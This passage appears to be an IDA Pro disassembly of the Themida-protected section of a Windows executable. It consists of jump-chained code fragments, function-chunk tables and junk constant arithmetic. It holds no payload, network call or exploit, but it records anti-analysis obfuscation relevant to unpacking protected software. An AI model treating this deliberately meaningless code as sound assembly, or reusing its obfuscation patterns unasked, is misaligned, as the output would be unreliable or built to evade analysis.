; FUNCTION CHUNK AT 0059977E SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059A493 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059A708 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AB1C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B642 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059BD71 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059C113 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059C279 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059CFA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059D118 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059D7C2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059E69F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059F551 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059FA3A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A0038 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A03B5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A057E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A137E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A1540 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A20CC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A27E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2CFE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A335E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3ABD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A447F SIZE 0000005B BYTES
; FUNCTION CHUNK AT 005A474B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A559E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A58E7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A63D8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A68BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6B10 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A6E37 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005A7141 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A78D9 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A7F6B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A80B0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA41F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA6E3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA9FD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AAFA7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AB165 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005AB339 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB5D8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AB939 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ABC66 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AC22D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AC5C1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AD103 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AEC1A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AEE51 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		push	1B38h
		mov	[esp+10h+var_10], ebp
		jmp	loc_5A137E
sub_59A932	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59A948:				; CODE XREF: Themida_:005AB152j
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5A572B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59A950:				; CODE XREF: sub_5986D6-634j
		mov	eax, 1BA13494h
		or	eax, 9850F84h
		add	eax, 3C7D5139h
		not	eax
		xchg	eax, ebx
		neg	ebx
		xchg	eax, ebx
		jmp	loc_5A1A94
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59A96A:				; CODE XREF: sub_59B707+2238j
		xor	eax, 2BB35AC1h
		jmp	loc_5A32D7
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_59A974:				; CODE XREF: Themida_:00599AA2j
		add	edx, 4
		push	ebx
		mov	ebx, 53C57CACh
		push	esi
		mov	esi, 53C57CA8h
		jmp	loc_5A7530
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59A98B:				; CODE XREF: sub_597F0C+25Dj
					; Themida_:005A1FECj
		xchg	eax, [esp+4+var_4]
		pop	ecx
		neg	ecx
		push	ebp
		mov	ebp, 659F4159h
		jmp	sub_5AB531
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_59A99C:				; CODE XREF: Themida_:005AC302j
		pop	esp
		jmp	loc_5A41C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_59A9A2:				; CODE XREF: sub_5A8899-8B7Ej
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		sub	edx, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		push	[esp+0Ch+var_8]
		pop	edx
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		mov	[esp+0], edx
		jmp	loc_599DBC
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------


loc_59A9CF:				; CODE XREF: Themida_:005AD053j
		xor	esi, 669E2Dh
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59A9EE:				; CODE XREF: sub_5A91EC-F37Dj
		jmp	loc_59C8E6
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_59A9F3:				; CODE XREF: sub_59BD3A+1937j
		mov	edi, 34CC57DBh
		mov	ecx, 54DD7FDFh
		sub	ecx, edi
		pop	edi
		xor	esi, ecx
		push	[esp+4+var_4]
		pop	ecx
		push	2BD9h
		jmp	loc_5A85EA
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59AA10:				; CODE XREF: sub_5A8D43-396Bj
		push	dword ptr [edi+3Ch]
		push	ecx
		push	eax
		mov	eax, 79D10FFEh
		mov	ecx, eax
		jmp	loc_598E9D
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59AA21:				; CODE XREF: sub_5A600F-7C5Ej
		push	edi
		jmp	loc_5A3D19
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59AA27:				; CODE XREF: sub_5A1B2A:loc_5A1D33j
		sub	dh, 93h
		jmp	loc_5A1521
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB0CE


loc_59AA2F:				; CODE XREF: sub_5AB0CE-123Ej
		add	eax, 6153559Fh
		jmp	loc_5AB43F
; END OF FUNCTION CHUNK	FOR sub_5AB0CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_59AA39:				; CODE XREF: sub_5ADDF8-BB78j
		jmp	loc_5A3CB9
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59AA3E:				; CODE XREF: sub_5A8D43+6427j
		mov	[esp], edx
		jmp	loc_5ADC41
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A98EB


loc_59AA46:				; CODE XREF: sub_5A98EB-9E42j
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	edi
		mov	edi, 1791852h
		mov	esi, edi
		pop	edi
		add	[esp+4], esi
		pop	esi
		mov	eax, [esp+0]
		jmp	sub_598D16
; END OF FUNCTION CHUNK	FOR sub_5A98EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59AA6B:				; CODE XREF: sub_5A8C33-174Aj
		push	ecx
		push	2BBEh
		mov	[esp-4+arg_0], eax
		push	76D72B97h
		pop	eax
		jmp	loc_5A98BF
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_59AA7F:				; CODE XREF: sub_5A0F44+9666j
		pop	ebx
		push	ecx
		mov	ecx, 4
		sub	ebx, 16F49E3h
		add	ebx, ecx
		add	ebx, 16F49E3h
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		push	7281h
		mov	[esp+4+var_4], eax
		push	esp
		pop	eax
		jmp	sub_59BF6A
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59AAB0:				; CODE XREF: sub_5A8D43-F557j
		mov	bl, cl
		not	bl
		jmp	loc_5A7DD0
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_59AAB9:				; CODE XREF: sub_59F2C8-119Aj
		mov	eax, 31AA3371h
		and	eax, 2557620h
		not	eax
		xor	eax, 368E534Bh
		add	eax, 368E6170h
		add	ebx, eax
		pop	eax
		add	ebx, 2
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	sub_5ADE3B
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------


loc_59AAE3:				; CODE XREF: Themida_:005AC5E5j
		push	5A11h
		jmp	loc_59A69F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59AAED:				; CODE XREF: sub_5A8C33-9CE6j
		pop	ebx
		mov	edx, ecx
		mov	ecx, [esp-8+arg_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		sub	edi, 2D9B038Dh
		add	edi, edx
		add	edi, 2D9B038Dh
		pop	edx
		jmp	loc_5A27D0
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59AB1C:				; CODE XREF: sub_59A932+27FFj
		push	edx
		jmp	loc_5A2CFE
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59AB22:				; CODE XREF: sub_5A8C33-E5A6j
		xor	edx, 0D182FCA9h
		push	edx
		jmp	loc_59AF67
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59AB2E:				; CODE XREF: sub_5A91EC-3203j
		add	edi, 4FAD51D9h
		jmp	loc_5A710E
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59AB39:				; CODE XREF: sub_59D99C+BDF7j
		xchg	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		sub	esp, 2
		mov	[esp+0], bx
		mov	bl, 56h
		push	ebx
		jmp	loc_59FC25
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_59AB4E:				; CODE XREF: sub_5A1340+452Aj
		push	small 1784h
		mov	[esp+0], cx
		push	edx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	bh, 42h
		and	bh, 8Fh
		jo	loc_5AE22D
		push	ecx
		mov	cl, 0E9h
		xor	bh, cl
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_59D4A9
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_59AB75:				; CODE XREF: sub_5AAA81-12305j
		push	78CBh
		mov	[esp+0], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_5A26CB
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E35B


loc_59AB8C:				; CODE XREF: sub_59E35B-BC8j
		sub	ebx, 12B66515h
		jmp	loc_59D322
; END OF FUNCTION CHUNK	FOR sub_59E35B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59AB97:				; CODE XREF: sub_599059+8ABFj
		jnb	loc_5A1E01
		jmp	loc_5ACA59
; END OF FUNCTION CHUNK	FOR sub_599059

; =============== S U B	R O U T	I N E =======================================



sub_59ABA2	proc near		; DATA XREF: Themida_:00597984o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598BE9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A379E SIZE 00000024 BYTES

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		push	1006h
		jmp	loc_598BE9
sub_59ABA2	endp

; ---------------------------------------------------------------------------


loc_59ABB2:				; CODE XREF: Themida_:005A17BCj
		jbe	loc_5A3091
		shl	eax, 2
		jp	loc_59C3E8
		dec	eax
		js	loc_5A468B
		jmp	loc_59B0CC
; ---------------------------------------------------------------------------
		db  52h	; R
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59ABCE:				; CODE XREF: sub_5A8C33+4C8Fj
		sub	ebp, 4FB038C9h
		jmp	loc_59CBF2
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9228


loc_59ABD9:				; CODE XREF: sub_5A9228-3F47j
		pop	ecx
		jmp	loc_59EBD8
; END OF FUNCTION CHUNK	FOR sub_5A9228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59ABDF:				; CODE XREF: sub_5A8C33-FA38j
		jmp	sub_5A1ED0
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_59ABE4:				; CODE XREF: Themida_:00598712j
					; sub_5AE0B5-1672j
		xor	esi, [esp+0Ch+var_C]
		pop	esp
		sub	esi, edx
		pop	edx
		jmp	loc_5AA63C
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59ABF0:				; CODE XREF: sub_5A8F00+516Cj
		shr	ebp, 8
		jmp	loc_59E656
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_59ABF8:				; CODE XREF: sub_5ABA9B+27A9j
		push	esi
		mov	esi, 5ADB7A13h
		neg	esi
		jmp	loc_5A873D
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------


loc_59AC05:				; CODE XREF: Themida_:0059FECEj
		mov	cl, dh
		pop	edx
		xor	cl, 0C2h
		jnb	loc_5AA8D8
		neg	cl
		jno	loc_5A7301
		jmp	loc_598D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59AC1E:				; CODE XREF: sub_59D99C-153Bj
		xor	edi, 55E178E7h
		jmp	loc_5A906B
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5AC5E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_59AC2F:				; CODE XREF: sub_5A02EA-780Cj
		sub	[esp+4], ebx
		push	7881h
		mov	[esp+8+var_8], ebp
		jmp	loc_5A26FD
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59AC40:				; CODE XREF: sub_5A8D43-10F4Aj
		pop	esi
		shr	edi, 4
		or	edi, 12B144D4h
		xor	edi, 17BB6DFAh
		add	ecx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_5A0AE0
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59AC5B:				; CODE XREF: sub_5AC95F-B4D8j
		and	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 2693E02h
		sub	ebp, 496D128Ah
		add	ebp, 87A3D514h
		sub	ecx, ebp
		pop	ebp
		add	edx, ecx
		push	[esp-10h+arg_C]
		pop	ecx
		add	esp, 4
		add	edx, 2
		xor	edx, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], edx
		xor	edx, [esp-14h+arg_10]
		jmp	loc_5A7159
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_59AC90:				; CODE XREF: sub_599526+10j
		shr	ch, 3
		push	ax
		mov	al, 1Fh
		jmp	loc_598F7C
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_59AC9C:				; CODE XREF: sub_5A8F00+D63j
		push	edx
		mov	edx, 77504668h
		jmp	sub_5AEFD6
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A980C


loc_59ACA7:				; CODE XREF: sub_5A980C-2E9Ej
		shr	edx, 8
		add	edx, 0FFD7B8E8h
		jmp	loc_5A0AB4
; END OF FUNCTION CHUNK	FOR sub_5A980C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_59ACB5:				; CODE XREF: sub_5A17D6-1102j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+18h+var_18]
		pop	esp
		pop	[esp+14h+var_14]
		jmp	loc_5A1C91
; END OF FUNCTION CHUNK	FOR sub_5A17D6

; =============== S U B	R O U T	I N E =======================================



sub_59ACCE	proc near		; CODE XREF: sub_59B707+B480j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599509 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059CA96 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E87D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059E9FC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A01E7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2C46 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2D14 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A5EF9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A6973 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A7581 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A75BA SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A8225 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9629 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AA715 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AA8CC SIZE 0000000C BYTES

		push	ebp
		jmp	loc_59E87D
sub_59ACCE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59ACD4:				; CODE XREF: Themida_:005A967Aj
		shl	ecx, 2
		jmp	loc_5A7C27
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59ACE4:				; CODE XREF: sub_59D99C-42B8j
		mov	ax, cx
		jmp	loc_5A6F93
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_59ACEC	proc near		; CODE XREF: sub_59D663+E26Bj

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00598B5B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00599164 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059920D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005997F1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A079 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059A388 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A5ED SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059BB60 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059C57A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C902 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059CE59 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059F169 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A1618 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A1F20 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2BC4 SIZE 00000049 BYTES
; FUNCTION CHUNK AT 005A36B4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A47E6 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A6030 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A60CA SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A709A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A7546 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A843A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A8BF2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9AA0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A9E7C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AAFFA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB2A5 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005AB7EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005ACE3D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD8D4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADF7C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AE8AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AEC7E SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 5E484505h
		jmp	loc_599164
sub_59ACEC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59ACFC:				; CODE XREF: sub_5AE6FD+941j
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		jmp	loc_5A20B2
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_59AD0A:				; CODE XREF: Themida_:0059C4A5j
		mov	ecx, 6D6F44AFh
		xor	ecx, 4C2C4734h
		jl	loc_5A0764
		dec	ecx
		jmp	loc_5AC70D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1ED0


loc_59AD21:				; CODE XREF: sub_5A1ED0+8801j
		pop	esi
		sub	dword ptr [esp+4], 1B05223Dh
		add	[esp+4], ebx
		jmp	loc_5A99D4
; END OF FUNCTION CHUNK	FOR sub_5A1ED0
; ---------------------------------------------------------------------------


loc_59AD33:				; CODE XREF: Themida_:005A0E1Dj
		shl	dword ptr [esp], cl
		jmp	loc_597B5F

; =============== S U B	R O U T	I N E =======================================



sub_59AD3B	proc near		; CODE XREF: sub_59B707-2F96j
					; sub_5A91EC-F377j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_5A978D
sub_59AD3B	endp

; ---------------------------------------------------------------------------


loc_59AD50:				; CODE XREF: Themida_:0059B0BFj
		inc	ecx
		shr	ecx, 5
		dec	ecx
		sub	ecx, 61759A4Eh
		xor	eax, ecx
		pop	ecx
		add	edx, eax
		jmp	loc_5A2EFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_59AD65:				; CODE XREF: sub_59DBFF-131Ej
		xor	edx, 6BF87FE8h
		mov	ebp, edx
		jmp	loc_59CE3D
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
		lodsb
		push	16D6h
		jmp	loc_5A1FFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F56


loc_59AD7D:				; CODE XREF: sub_5A8F56-8970j
		mov	ebx, esp
		add	ebx, 4
		jmp	sub_59D95F
; END OF FUNCTION CHUNK	FOR sub_5A8F56
; ---------------------------------------------------------------------------


loc_59AD8A:				; CODE XREF: Themida_:005AA67Ej
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_5A899E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A03D


loc_59AD94:				; CODE XREF: sub_59A03D+33DCj
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_59F017
; END OF FUNCTION CHUNK	FOR sub_59A03D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_59ADA0:				; CODE XREF: sub_5A4F3D-54B8j
		mov	esi, 80A0009h
		sub	edi, esi
		pop	esi
		jmp	loc_5A1B1D
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_59ADAD:				; CODE XREF: sub_59D00D+6512j
		mov	edi, ecx
		jmp	loc_5AAB37
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_59ADB4:				; CODE XREF: sub_59EE40+6A03j
		sub	ebx, edi
		pop	edi
		and	edi, ebx
		jmp	loc_5AC86A
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------


loc_59ADBE:				; CODE XREF: Themida_:005A32A9j
		mov	ecx, ebx
		pop	ebx
		and	ecx, 21272CAEh
		dec	ecx
		inc	ecx
		xor	ecx, 4E193C00h
		xor	ecx, 2DB03EFAh
		xor	ecx, 9D54F981h
		jmp	loc_59A8E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2735


loc_59ADE0:				; CODE XREF: sub_5A2735+311Fj
		mov	ebp, ecx
		pop	ecx
		add	ebp, 518534ADh
		sub	esp, 4
		jmp	loc_5ACAF4
; END OF FUNCTION CHUNK	FOR sub_5A2735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59ADF4:				; CODE XREF: sub_5AC95F-1322Aj
					; sub_5A4F3D-584Ej
		sub	esi, 6348021Ch
		jmp	loc_5A7B52
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_59ADFF:				; CODE XREF: Themida_:005A33ECj
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_597BAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59AE0D:				; CODE XREF: sub_598D16+130BDj
		jnz	loc_59F6E2
		jmp	loc_5AC148
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
		dec	edi
		mov	cl, ah
		mov	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_59E1B6


loc_59AE1D:				; CODE XREF: sub_59E1B6+C641j
		pop	eax
		push	7457h
		mov	[esp+0], esi
		push	ecx
		mov	ecx, 3D2B2C4Ch
		push	ebx
		jmp	loc_5A5D8D
; END OF FUNCTION CHUNK	FOR sub_59E1B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59AE32:				; CODE XREF: sub_5AC95F-A8C4j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_59AE37:				; CODE XREF: sub_59EE57-6222j
		mov	ebp, 382E36A1h
		jmp	loc_59DF48
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A594B


loc_59AE41:				; CODE XREF: sub_5A594B+7466j
		add	eax, esi
		pop	esi
		jmp	loc_5A4100
; END OF FUNCTION CHUNK	FOR sub_5A594B

; =============== S U B	R O U T	I N E =======================================



sub_59AE49	proc near		; CODE XREF: sub_5A36E3+4D74j

var_10		= dword	ptr -10h
